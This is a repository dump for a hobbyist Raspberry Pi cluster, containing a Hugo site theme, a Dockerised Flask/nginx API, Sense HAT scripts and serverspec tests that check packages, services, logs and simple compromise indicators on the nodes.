Flipped Icons 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-rotate-90 { @include fa-icon-rotate(90deg, 1); } 5 | .#{$fa-css-prefix}-rotate-180 { @include fa-icon-rotate(180deg, 2); } 6 | .#{$fa-css-prefix}-rotate-270 { @include fa-icon-rotate(270deg, 3); } 7 | 8 | .#{$fa-css-prefix}-flip-horizontal { @include fa-icon-flip(-1, 1, 0); } 9 | .#{$fa-css-prefix}-flip-vertical { @include fa-icon-flip(1, -1, 2); } 10 | 11 | // Hook for IE8-9 12 | // ------------------------- 13 | 14 | :root .#{$fa-css-prefix}-rotate-90, 15 | :root .#{$fa-css-prefix}-rotate-180, 16 | :root .#{$fa-css-prefix}-rotate-270, 17 | :root .#{$fa-css-prefix}-flip-horizontal, 18 | :root .#{$fa-css-prefix}-flip-vertical { 19 | filter: none; 20 | } 21 | -------------------------------------------------------------------------------- /code/hugo-site/static/scss/_screen-reader.scss: -------------------------------------------------------------------------------- 1 | // Screen Readers 2 | // ------------------------- 3 | 4 | .sr-only { @include sr-only(); } 5 | .sr-only-focusable { @include sr-only-focusable(); } 6 | -------------------------------------------------------------------------------- /code/hugo-site/static/scss/_stacked.scss: -------------------------------------------------------------------------------- 1 | // Stacked Icons 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-stack { 5 | position: relative; 6 | display: inline-block; 7 | width: 2em; 8 | height: 2em; 9 | line-height: 2em; 10 | vertical-align: middle; 11 | } 12 | .#{$fa-css-prefix}-stack-1x, .#{$fa-css-prefix}-stack-2x { 13 | position: absolute; 14 | left: 0; 15 | width: 100%; 16 | text-align: center; 17 | } 18 | .#{$fa-css-prefix}-stack-1x { line-height: inherit; } 19 | .#{$fa-css-prefix}-stack-2x { font-size: 2em; } 20 | .#{$fa-css-prefix}-inverse { color: $fa-inverse; } 21 | -------------------------------------------------------------------------------- /code/hugo-site/static/scss/font-awesome.scss: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome 3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) 4 | */ 5 | 6 | @import "variables"; 7 | @import "mixins"; 8 | @import "path"; 9 | @import "core"; 10 | @import "larger"; 11 | @import "fixed-width"; 12 | @import "list"; 13 | @import "bordered-pulled"; 14 | @import "animated"; 15 | @import "rotated-flipped"; 16 | @import "stacked"; 17 | @import "icons"; 18 | @import "screen-reader"; 19 | -------------------------------------------------------------------------------- /code/hugo-site/tasks.py: -------------------------------------------------------------------------------- 1 | """ 2 | hugo website 3 | """ 4 | 5 | from invoke import task, run 6 | 7 | @task 8 | def hugo_build(c): 9 | """ build the web site """ 10 | print("building") 11 | c.run('rm -rf -- public/*') 12 | c.run('hugo -v') 13 | 14 | -------------------------------------------------------------------------------- /code/hugo-site/themes/berrycluster/LICENSE.md: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2017 YOUR_NAME_HERE 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /code/hugo-site/themes/berrycluster/archetypes/default.md: -------------------------------------------------------------------------------- 1 | +++ 2 | +++ 3 | -------------------------------------------------------------------------------- /code/hugo-site/themes/berrycluster/layouts/404.html: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/code/hugo-site/themes/berrycluster/layouts/404.html -------------------------------------------------------------------------------- /code/hugo-site/themes/berrycluster/layouts/_default/single.html: -------------------------------------------------------------------------------- 1 | {{ if .Site.Params.debug_page_name }} 2 | [start: themes/berrycluster/layouts/_default/single.html ] 3 | {{ end }} 4 | 5 | {{ partial "header" . }} 6 | 7 |
8 | 9 |
10 | {{ .Content }} 11 |
12 |
13 | 14 | {{ partial "footer" . }} 15 | 16 | {{ if .Site.Params.debug_page_name }} 17 | [end: themes/berrycluster/layouts/_default/single.html ] 18 | {{ end }} -------------------------------------------------------------------------------- /code/hugo-site/themes/berrycluster/layouts/partials/footer.html: -------------------------------------------------------------------------------- 1 | {{ if .Site.Params.debug_page_name }} 2 | [start: themes/berrycluster/layouts/partials/footer.html ] 3 | {{ end }} 4 | 5 |
6 |
7 |

b3rry.clust0r INC

8 |
9 |
10 | 11 | 12 | 13 | 14 | {{ if .Site.Params.debug_page_name }} 15 | [end: themes/berrycluster/layouts/partials/footer.html ] 16 | {{ end }} 17 | -------------------------------------------------------------------------------- /code/hugo-site/themes/berrycluster/layouts/post/list.html: -------------------------------------------------------------------------------- 1 | {{ if .Site.Params.debug_page_name }} 2 | [start: themes/berrycluster/layouts/post/list.html ] 3 | {{ end }} 4 | 5 | {{ partial "header" . }} 6 | 7 |
8 | 9 |

Posts

10 | 11 |
12 | {{ range .Data.Pages }} 13 |

14 |

{{ .Title }}
15 | {{ .Date.Format "Mon, Jan 2, 2006" }} 16 |

17 | {{ end }} 18 |
19 | 20 |
21 | 22 | {{ partial "footer" . }} 23 | 24 | {{ if .Site.Params.debug_page_name }} 25 | [end: themes/berrycluster/layouts/post/list.html ] 26 | {{ end }} -------------------------------------------------------------------------------- /code/hugo-site/themes/berrycluster/layouts/post/single.html: -------------------------------------------------------------------------------- 1 | {{ if .Site.Params.debug_page_name }} 2 | [start: themes/berrycluster/layouts/post/single.html ] 3 | {{ end }} 4 | 5 | {{ partial "header" . }} 6 | 7 |
8 | 9 |

{{ .Title }}

10 | 11 | 12 |
13 | 14 |
15 | {{ .Content }} 16 |
17 | 18 |
19 | 20 | {{ partial "footer" . }} 21 | 22 | {{ if .Site.Params.debug_page_name }} 23 | [end: themes/berrycluster/layouts/post/single.html ] 24 | {{ end }} -------------------------------------------------------------------------------- /code/hugo-site/themes/berrycluster/static/css/site.css: -------------------------------------------------------------------------------- 1 | html { 2 | position: relative; 3 | min-height: 100%; 4 | } 5 | 6 | body { 7 | margin-bottom: 60px; 8 | min-height: 200px; 9 | } 10 | 11 | header { 12 | background-color: #80adf7; 13 | padding-top: 80px; 14 | } 15 | 16 | header h3 { 17 | padding: 5px 20px 5px 20px; 18 | color: white; 19 | } 20 | 21 | article { 22 | padding-bottom: 80px; 23 | } 24 | 25 | .footer { 26 | position: absolute; 27 | bottom: 0; 28 | width: 100%; 29 | /* Set the fixed height of the footer here */ 30 | height: 100px; 31 | background-color: #bfd7ff; 32 | border-top: 1px solid; 33 | border-color: black; 34 | } 35 | 36 | .footer p { 37 | padding-top: 20px; 38 | } 39 | -------------------------------------------------------------------------------- /code/hugo-site/themes/berrycluster/static/js/site_bad.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | $(document).ready(function(){ 4 | $("#adminalpha").load("/api/alpha/hello"); 5 | }); 6 | 7 | $(document).ready(function(){ 8 | $("#adminbeta").load("/api/beta/hello"); 9 | }); 10 | 11 | $(document).ready(function(){ 12 | $("#omegahits").load("/api/omega/counter"); 13 | }); 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /code/hugo-site/themes/berrycluster/theme.toml: -------------------------------------------------------------------------------- 1 | # theme.toml template for a Hugo theme 2 | # See https://github.com/spf13/hugoThemes#themetoml for an example 3 | 4 | name = "berrycluster" 5 | license = "MIT" 6 | description = "Raspberry Pi Cluster" 7 | homepage = "www.b3rry.clust0r" 8 | tags = [] 9 | features = [] 10 | min_version = "0.21" 11 | SectionPagesMenu = "main" 12 | 13 | [author] 14 | name = "crgm" 15 | homepage = "www.b3rry.clust0r" 16 | -------------------------------------------------------------------------------- /code/readme.md: -------------------------------------------------------------------------------- 1 | # code/ 2 | 3 | This folder contains code I'm playing with on the R-Pi. 4 | -------------------------------------------------------------------------------- /code/rpi-py-api/Dockerfile-pyapp: -------------------------------------------------------------------------------- 1 | # ----------------------------- # 2 | # --- rpi-py-api Dockerfile --- # 3 | # ----------------------------- # 4 | 5 | FROM python:3 6 | 7 | ENV DEBIAN_FRONTEND noninteractive 8 | 9 | # create the user "rpyapi" for the app to run as 10 | RUN groupadd -r rpyapi && \ 11 | useradd -r -g rpyapi -d /app -s /sbin/nologin -c "rpyapi" rpyapi 12 | 13 | ENV HOME=/app 14 | 15 | # Copy the appsrc directory contents into the container at /app 16 | COPY appsrc /app 17 | 18 | # Set the working directory to /app 19 | WORKDIR /app 20 | 21 | RUN mkdir /logs/ 22 | 23 | RUN chown -R rpyapi:rpyapi /app/ /logs/ 24 | 25 | # install app requirements 26 | RUN pip install -r /app/requirements.txt 27 | 28 | USER rpyapi 29 | 30 | # entry point - launch gunicorn 31 | CMD ["bash", "/app/start.sh"] 32 | 33 | EXPOSE 8382 34 | 35 | # EOF -------------------------------------------------------------------------------- /code/rpi-py-api/appsrc/requirements.txt: -------------------------------------------------------------------------------- 1 | setuptools 2 | Flask 3 | requests 4 | Redis 5 | gunicorn 6 | -------------------------------------------------------------------------------- /code/rpi-py-api/appsrc/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "start.sh: starting gunicorn"; 4 | 5 | # do some sanity checks before starting gunicorn 6 | 7 | if [[ rpyapi = "$(whoami)" ]]; then 8 | echo "running as rpyapi - good"; 9 | else 10 | echo "ERROR: not running as rpyapi"; 11 | exit 1; 12 | fi 13 | 14 | if [ ! -f /app/rpyapi.py ]; then 15 | echo "ERROR: missing app"; 16 | exit 1; 17 | fi 18 | 19 | if [ ! -d /logs/ ]; then 20 | echo "ERROR: missing /logs/ dir"; 21 | exit 1; 22 | fi 23 | 24 | 25 | # check we have python version 3 26 | python --version | awk '{print $2}' | cut -c1-1 | grep 3 || exit 1 27 | 28 | 29 | gunicorn rpyapi:app \ 30 | --pid /app/pyapi-gunicorn.pid \ 31 | --bind unix:/app/rpyapi.socket \ 32 | --bind 0.0.0.0:8382 \ 33 | --workers 2 \ 34 | --preload \ 35 | --timeout 30 \ 36 | --backlog 200 \ 37 | --limit-request-fields 50 \ 38 | --log-file=/logs/gunicorn.log 39 | 40 | # eof 41 | -------------------------------------------------------------------------------- /code/rpi-py-api/appsrc/static/style.css: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /code/rpi-py-api/appsrc/static/testfile.txt: -------------------------------------------------------------------------------- 1 | testfile.txt -------------------------------------------------------------------------------- /code/rpi-py-api/appsrc/templates/about.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% block title %}R-Pi Cluster API about{% endblock %} 3 | {% block body %} 4 |

Hello

5 |

R-Pi cluster node API

6 | {% endblock %} 7 | -------------------------------------------------------------------------------- /code/rpi-py-api/appsrc/templates/base.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | {% block title %}{% endblock %} 5 | 6 | 7 | 8 | {% block body %} 9 | {% endblock %} 10 | 11 | -------------------------------------------------------------------------------- /code/rpi-py-api/appsrc/templates/hello.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% block title %}Hello from flask{% endblock %} 3 | {% block body %} 4 | {% if name %} 5 |

Hello {{ name }}!

6 | {% else %} 7 |

Hello, World!

8 | {% endif %} 9 | {% endblock %} -------------------------------------------------------------------------------- /code/rpi-py-api/build_image_tar.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # create $imgname.tar from Dockerfile 4 | 5 | imgname="rpipyapi" 6 | 7 | # dockerfile build 8 | echo "[*] Building image" 9 | docker build -t $imgname . || echo "[x] failed to build image" 10 | 11 | # test 12 | echo "[.] -- test image --" 13 | docker run --rm -ti $imgname id 14 | docker run --rm -ti $imgname hostname 15 | echo "[.] -- test finished --" 16 | 17 | # Save image as .tar 18 | echo "[*] Saving image" 19 | docker save -o $imgname.tar $imgname 20 | ls -lah $imgname.tar 21 | 22 | DOCKER_IMG_ID=$(docker images | grep $imgname | awk '{print $3}') 23 | 24 | docker image rm $imgname 25 | 26 | docker image ls 27 | 28 | echo ${DOCKER_IMG_ID}; 29 | 30 | # EOF 31 | -------------------------------------------------------------------------------- /code/rpi-py-api/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | 5 | app: 6 | build: 7 | context: . 8 | dockerfile: Dockerfile-pyapp 9 | environment: 10 | - RPIPYAPI_VER=development 11 | depends_on: 12 | - redis 13 | volumes: 14 | - weblogs-data:/logs 15 | networks: 16 | - web_net 17 | - db_net 18 | 19 | redis: 20 | image: "redis:alpine" 21 | volumes: 22 | - redis-data:/data 23 | networks: 24 | - db_net 25 | 26 | nginx: 27 | image: "nginx:latest" 28 | ports: 29 | - "80:8080" 30 | depends_on: 31 | - app 32 | volumes: 33 | - ./nginx.conf.d:/etc/nginx/conf.d 34 | - ./web/pub/:/var/www/pub/ 35 | - ./nginx.logs:/var/log/nginx 36 | networks: 37 | - web_net 38 | 39 | volumes: 40 | redis-data: 41 | weblogs-data: 42 | 43 | networks: 44 | web_net: 45 | driver: bridge 46 | db_net: 47 | driver: bridge -------------------------------------------------------------------------------- /code/rpi-py-api/nginx.conf.d/rpiweb.conf: -------------------------------------------------------------------------------- 1 | # 2 | # nginx config for rpi-py-api 3 | # 4 | server { 5 | 6 | # 7 | # webserver cofig 8 | # 9 | listen 8080; 10 | server_name localhost; 11 | server_tokens off; 12 | 13 | # 14 | # block all dot files like .git/ and .fooboar 15 | # 16 | location ~ /\. { 17 | deny all; 18 | } 19 | 20 | # 21 | # change error messages 22 | # 23 | error_page 404 403 444 500 502 503 504 /error.html; 24 | 25 | # 26 | # Only allow these HTTP methods 27 | # 28 | if ($request_method !~ ^(GET|HEAD|POST)$ ) { 29 | return 444; 30 | } 31 | 32 | # 33 | # Reverse proxy setup 34 | # 35 | location /api/ { 36 | proxy_set_header Host $host; 37 | proxy_set_header X-Real-IP $remote_addr; 38 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 39 | proxy_set_header X-Forwarded-Proto $scheme; 40 | proxy_set_header X-Script-Name /api; 41 | proxy_set_header Host $http_host; 42 | # python app container 43 | proxy_pass http://app:8382; 44 | } 45 | 46 | # 47 | # static assets 48 | # 49 | location / { 50 | root /var/www/pub/; 51 | index index.html index_default.html; 52 | } 53 | 54 | } -------------------------------------------------------------------------------- /code/rpi-py-api/nginx.logs/access.log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/code/rpi-py-api/nginx.logs/access.log -------------------------------------------------------------------------------- /code/rpi-py-api/nginx.logs/error.log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/code/rpi-py-api/nginx.logs/error.log -------------------------------------------------------------------------------- /code/rpi-py-api/readme.md: -------------------------------------------------------------------------------- 1 | # rpi-py-api 2 | 3 | A small Python Flask app, with redis database backend, and nginx webserver frontend. 4 | 5 | All setup with Docker-Compose. 6 | 7 | 8 | Build and run (anywhere that has docker-compose + docker): 9 | 10 | ``` 11 | docker-compose build && docker-compose up -d 12 | ``` 13 | 14 | Attach to the app container and test: 15 | 16 | ``` 17 | docker exec -it $(docker ps | grep "rpi-py-api_app" | awk '{print $1}') /bin/bash 18 | curl -X GET --unix-socket /app/rpyapi.socket http/hello/curltest 19 | ``` 20 | -------------------------------------------------------------------------------- /code/rpi-py-api/web/pub/.foobar: -------------------------------------------------------------------------------- 1 | .foobar -------------------------------------------------------------------------------- /code/rpi-py-api/web/pub/error.html: -------------------------------------------------------------------------------- 1 | error -------------------------------------------------------------------------------- /code/rpi-py-api/web/pub/index_default.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | rpi-py-api 6 | 7 | 8 | 9 | 10 | 11 |
12 |

rpi py api

13 |
14 | 15 |
16 |
17 |
18 |
19 | 20 |
21 |
22 |

b3rry.clust0r INC

23 |
24 |
25 | 26 | 27 | -------------------------------------------------------------------------------- /code/rpi-py-api/web/pub/rasp-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/code/rpi-py-api/web/pub/rasp-logo.png -------------------------------------------------------------------------------- /code/sensehat/sensehat-temps.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from sense_hat import SenseHat 3 | from datetime import datetime 4 | from time import sleep 5 | 6 | sense = SenseHat() 7 | sense.clear() 8 | 9 | thedate = datetime.now() 10 | 11 | pressure = sense.get_pressure() 12 | temp = sense.get_temperature() 13 | humidity = sense.get_humidity() 14 | 15 | print "date: " + str(thedate) 16 | 17 | print "pressure: " + str(pressure) 18 | 19 | print "temp: " + str(temp) 20 | 21 | print "humidity: " + str(humidity) 22 | -------------------------------------------------------------------------------- /code/sensehat/sensehat-welcome.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import os 3 | from time import sleep 4 | from sense_hat import SenseHat 5 | 6 | sense = SenseHat() 7 | sense.set_rotation(180) 8 | 9 | coltxt = (255, 255, 255) 10 | colback = (25, 25, 60) 11 | 12 | sleep(2) 13 | 14 | sense.show_message("SenseHat Up!", text_colour=coltxt, back_colour=colback) 15 | 16 | sleep(2) 17 | 18 | if not os.path.exists("/home/pi/.config/sensehatwelcomed"): 19 | os.mknod("/home/pi/.config/sensehatwelcomed") 20 | 21 | sleep(2) 22 | 23 | sense.clear() 24 | -------------------------------------------------------------------------------- /code/sensehat/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo apt-get install sense-hat -y -------------------------------------------------------------------------------- /doc/pictures/ara.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/doc/pictures/ara.png -------------------------------------------------------------------------------- /doc/pictures/pi_towers1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/doc/pictures/pi_towers1.jpg -------------------------------------------------------------------------------- /serverspec/Gemfile: -------------------------------------------------------------------------------- 1 | source 'https://rubygems.org' 2 | 3 | gem 'serverspec' 4 | gem 'rake' 5 | gem 'bundle' 6 | -------------------------------------------------------------------------------- /serverspec/Gemfile.lock: -------------------------------------------------------------------------------- 1 | GEM 2 | remote: https://rubygems.org/ 3 | specs: 4 | bundle (0.0.1) 5 | bundler 6 | diff-lcs (1.3) 7 | multi_json (1.12.2) 8 | net-scp (1.2.1) 9 | net-ssh (>= 2.6.5) 10 | net-ssh (4.2.0) 11 | net-telnet (0.1.1) 12 | rake (12.3.0) 13 | rspec (3.7.0) 14 | rspec-core (~> 3.7.0) 15 | rspec-expectations (~> 3.7.0) 16 | rspec-mocks (~> 3.7.0) 17 | rspec-core (3.7.0) 18 | rspec-support (~> 3.7.0) 19 | rspec-expectations (3.7.0) 20 | diff-lcs (>= 1.2.0, < 2.0) 21 | rspec-support (~> 3.7.0) 22 | rspec-its (1.2.0) 23 | rspec-core (>= 3.0.0) 24 | rspec-expectations (>= 3.0.0) 25 | rspec-mocks (3.7.0) 26 | diff-lcs (>= 1.2.0, < 2.0) 27 | rspec-support (~> 3.7.0) 28 | rspec-support (3.7.0) 29 | serverspec (2.41.3) 30 | multi_json 31 | rspec (~> 3.0) 32 | rspec-its 33 | specinfra (~> 2.72) 34 | sfl (2.3) 35 | specinfra (2.73.0) 36 | net-scp 37 | net-ssh (>= 2.7, < 5.0) 38 | net-telnet 39 | sfl 40 | 41 | PLATFORMS 42 | ruby 43 | 44 | DEPENDENCIES 45 | bundle 46 | rake 47 | serverspec 48 | 49 | BUNDLED WITH 50 | 1.16.1 51 | -------------------------------------------------------------------------------- /serverspec/index.erb: -------------------------------------------------------------------------------- 1 | 2 | 3 | R-Pi ServerSpec report 4 | 5 | 6 |

ServerSpec test reports

7 |

Generated: <%= timenow %>

8 |
9 |

    10 |
  • alpha: 11 | 15 |
  • 16 |
  • beta: 17 | 21 |
  • 22 |

23 |
24 | 25 | 26 | -------------------------------------------------------------------------------- /serverspec/rvm-installer.asc: -------------------------------------------------------------------------------- 1 | -----BEGIN PGP SIGNATURE----- 2 | Version: GnuPG v2 3 | 4 | iQIcBAABAgAGBQJZtEW+AAoJEOIGwp+/BP8XDMgQAMjZi/2C0mGx9XRJGxR65YXP 5 | eE5d0aB8G9buPxZUOJM2Tlp4tIxjcUqCGC3CvPdxZ7Scx2mvdb82+HaASSjOm3Jl 6 | 8Am/k5Bg7s0gyFu5yEDciDJABHUP6V4A60oxZK9OSriZuM6lnKJ6uu6EZMheopWM 7 | rYLPu/uQctP3dlcGqClQ2rafE+bD9Lhrv2bLDc4nAIz2gSsPNdlqtc14nDggx1wr 8 | L8CIQKAYGtAhFX+38QKHdDqDx4XrYbcvg/wPzgdasI8y2GlTDU6DcDY1fPg2aCbb 9 | g4/+8mcthQ7ur3NdDFQLZNQ1RlCc6idvnXVtvWUORda370OKHnJdCM8tqRpeZUuR 10 | A0nu0GKdecabiHGSdgpcpRmV3rVJCLkHpncxZmAQuo3rHopJmsXYfVR9SlAXwisZ 11 | VH32ukHfiC/+vmUbh2UvyA/69ald01AzuBYfX2NFEXvohP21pZCqtVnXUMKdC43R 12 | CnIXfbixiy48lJcfEqRkJWxHUhPwta7LsUavJNYal6m+yB6r79JYzPWs2gQl0E+P 13 | Nki9AwxFgPEZtIEhMMCvRz4BJ3r4HLMdDrBF4JC7t/+TSjCu2SYPon5JdTv+XEKS 14 | T7bWFIrpXZXN6Gk/0eKxxTo29uuzGPx+isZecVrA8Yg9G0fb2oE7/bl7I7cSEQZV 15 | OG/LeQvMOP9PhrMhKrmJ 16 | =mTGt 17 | -----END PGP SIGNATURE----- 18 | -------------------------------------------------------------------------------- /serverspec/spec/base/apt_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | 4 | # check there are no apt packages installed with critical vulns 5 | # note: there might still be packages updates avail tho - just none marked with security issues 6 | describe command('/usr/lib/nagios/plugins/check_apt --only-critical --timeout=30 --list') do 7 | its(:exit_status) { should eq 0 } 8 | end 9 | 10 | 11 | describe package('build-essential') do 12 | it { should be_installed } 13 | end 14 | 15 | describe package('apt-transport-https') do 16 | it { should be_installed } 17 | end 18 | 19 | describe package('monitoring-plugins-common') do 20 | it { should be_installed } 21 | end 22 | 23 | describe package('monitoring-plugins-basic') do 24 | it { should be_installed } 25 | end 26 | 27 | describe package('curl') do 28 | it { should be_installed } 29 | end 30 | 31 | describe package('wget') do 32 | it { should be_installed } 33 | end 34 | 35 | describe package('tmux') do 36 | it { should be_installed } 37 | end 38 | 39 | describe package('busybox') do 40 | it { should be_installed } 41 | end 42 | 43 | describe package('git') do 44 | it { should be_installed } 45 | end 46 | 47 | describe package('ca-certificates') do 48 | it { should be_installed } 49 | end 50 | 51 | describe package('lsof') do 52 | it { should be_installed } 53 | end 54 | -------------------------------------------------------------------------------- /serverspec/spec/base/haveged_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | describe package('haveged') do 4 | it { should be_installed } 5 | end 6 | 7 | describe service('haveged') do 8 | it { should be_enabled } 9 | it { should be_running } 10 | end 11 | 12 | describe file('/etc/default/haveged') do 13 | it { should be_file } 14 | it { should be_owned_by 'root' } 15 | its(:content) { should match /DAEMON_ARGS="-w 1024"/ } 16 | end 17 | 18 | describe file('/opt/cluster/data/info_roles.txt') do 19 | it { should be_file } 20 | it { should be_owned_by 'root' } 21 | its(:content) { should match /haveged/ } 22 | end 23 | 24 | describe process("haveged") do 25 | its(:user) { should eq "root" } 26 | its(:count) { should eq 1 } 27 | end 28 | -------------------------------------------------------------------------------- /serverspec/spec/base/health_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | describe command('/usr/lib/nagios/plugins/check_procs -w 300 -c 400;') do 4 | its(:exit_status) { should eq 0 } 5 | end 6 | 7 | describe command('/usr/lib/nagios/plugins/check_users -w 30 -c 50') do 8 | its(:exit_status) { should eq 0 } 9 | end 10 | 11 | describe command('/usr/lib/nagios/plugins/check_disk -x /dev/sda1;') do 12 | its(:exit_status) { should eq 0 } 13 | end 14 | -------------------------------------------------------------------------------- /serverspec/spec/base/ioc_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | # Docs / ToDo: 4 | # 5 | # "Detecting ATT&CK techniques & tactics for Linux" 6 | # https://github.com/Kirtar22/Litmus_Test 7 | # 8 | # 9 | # "Linux Atomic Tests by ATT&CK Tactic & Technique" 10 | # https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/linux-index.md 11 | 12 | 13 | # should not be any exec files here 14 | describe command('find /tmp/ -executable -type f') do 15 | its(:stdout) { should match // } 16 | end 17 | 18 | # should not be any named pipes (FIFO) in tmp 19 | describe command('find /tmp/ -type p') do 20 | its(:stdout) { should match // } 21 | end 22 | 23 | # look for queued jobs 24 | describe command('atq') do 25 | its(:stdout) { should match // } 26 | end 27 | 28 | # running processes that have been deleted 29 | describe command('lsof | grep deleted') do 30 | its(:stdout) { should match // } 31 | end 32 | -------------------------------------------------------------------------------- /serverspec/spec/base/logs_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | describe command('journalctl --verify') do 4 | its(:exit_status) { should eq 0 } 5 | end 6 | 7 | # find large log files 8 | describe command('find /var/log/ -size +2M -exec ls {} -lah \;') do 9 | its(:stdout) { should match // } 10 | end 11 | 12 | # https://github.com/raspberrypi/linux/blob/39f45c408ab8f9cc9b9980f165e62eb92293b927/drivers/firmware/raspberrypi.c 13 | # Under-voltage detected! 14 | describe command('grep "Under-voltage detected!" /var/log/kern.log') do 15 | its(:stdout) { should match // } 16 | end 17 | 18 | # less than xx hits in firewall logs 19 | describe command('test $(grep "UFW BLOCK" /var/log/kern.log | wc -l) -lt 50') do 20 | its(:exit_status) { should eq 0 } 21 | end 22 | 23 | # look for "Certificate invalid: expired" when our CA signed SSH key expires 24 | describe command('journalctl -u ssh -n 100 | grep -i invalid') do 25 | its(:stdout) { should match // } 26 | end 27 | -------------------------------------------------------------------------------- /serverspec/spec/base/network_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | describe default_gateway do 4 | its(:interface) { should eq 'eth0' } 5 | end 6 | 7 | describe interface('eth0') do 8 | it { should be_up } 9 | its(:speed) { should eq 100 } 10 | end 11 | 12 | describe host('raspbian.raspberrypi.org') do 13 | let(:disable_sudo) { true } 14 | it { should be_resolvable } 15 | it { should be_reachable.with( :port => 80, :proto => 'tcp' ) } 16 | end 17 | 18 | describe host("github.com") do 19 | let(:disable_sudo) { true } 20 | it { should be_resolvable } 21 | it { should be_reachable.with( :port => 80, :proto => 'tcp' ) } 22 | it { should be_reachable.with( :port => 443, :proto => 'tcp' ) } 23 | end 24 | 25 | describe file('/etc/hosts') do 26 | its(:content) { should match /Ansible managed file/ } 27 | it { should be_file } 28 | it { should be_owned_by 'root' } 29 | end 30 | -------------------------------------------------------------------------------- /serverspec/spec/base/ntp_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | 3 | # time and date 4 | describe command('timedatectl status') do 5 | its(:stdout) { should contain('UTC') } 6 | its(:stdout) { should contain('System clock synchronized: yes') } 7 | end 8 | 9 | describe command('date') do 10 | its(:stdout) { should contain('UTC') } 11 | end 12 | 13 | describe package('ntp') do 14 | it { should be_installed } 15 | end 16 | 17 | describe service('ntp') do 18 | it { should be_enabled } 19 | it { should be_running } 20 | end 21 | 22 | describe file('/etc/ntp.conf') do 23 | its(:content) { should match /Ansible managed file/ } 24 | it { should be_file } 25 | it { should be_owned_by 'root' } 26 | end 27 | 28 | describe process("ntpd") do 29 | its(:user) { should eq "ntp" } 30 | end 31 | 32 | describe user('ntp') do 33 | it { should exist } 34 | it { should have_login_shell '/usr/sbin/nologin' } 35 | end 36 | 37 | describe host('au.pool.ntp.org') do 38 | it { should be_resolvable } 39 | end 40 | -------------------------------------------------------------------------------- /serverspec/spec/base/rpicluster_spec.rb: -------------------------------------------------------------------------------- 1 | require 'spec_helper' 2 | # R-Pi Cluster common 3 | 4 | 5 | describe file('/opt/cluster/data/info_host.txt') do 6 | it { should be_file } 7 | it { should be_owned_by 'root' } 8 | its(:content) { should match /Raspberry Pi Cluster/ } 9 | it { should be_mode 444 } 10 | end 11 | 12 | describe file('/opt/cluster/data/info_roles.txt') do 13 | it { should be_file } 14 | it { should be_owned_by 'root' } 15 | its(:content) { should match /Ansible Roles run against this host/ } 16 | its(:content) { should match /base-system/ } 17 | it { should be_mode 444 } 18 | end 19 | 20 | describe user('piclust') do 21 | it { should exist } 22 | end 23 | 24 | describe file('/var/log/rpicluster.log') do 25 | it { should be_file } 26 | it { should be_grouped_into 'adm' } 27 | end 28 | 29 | describe file('/etc/rc.local') do 30 | it { should be_file } 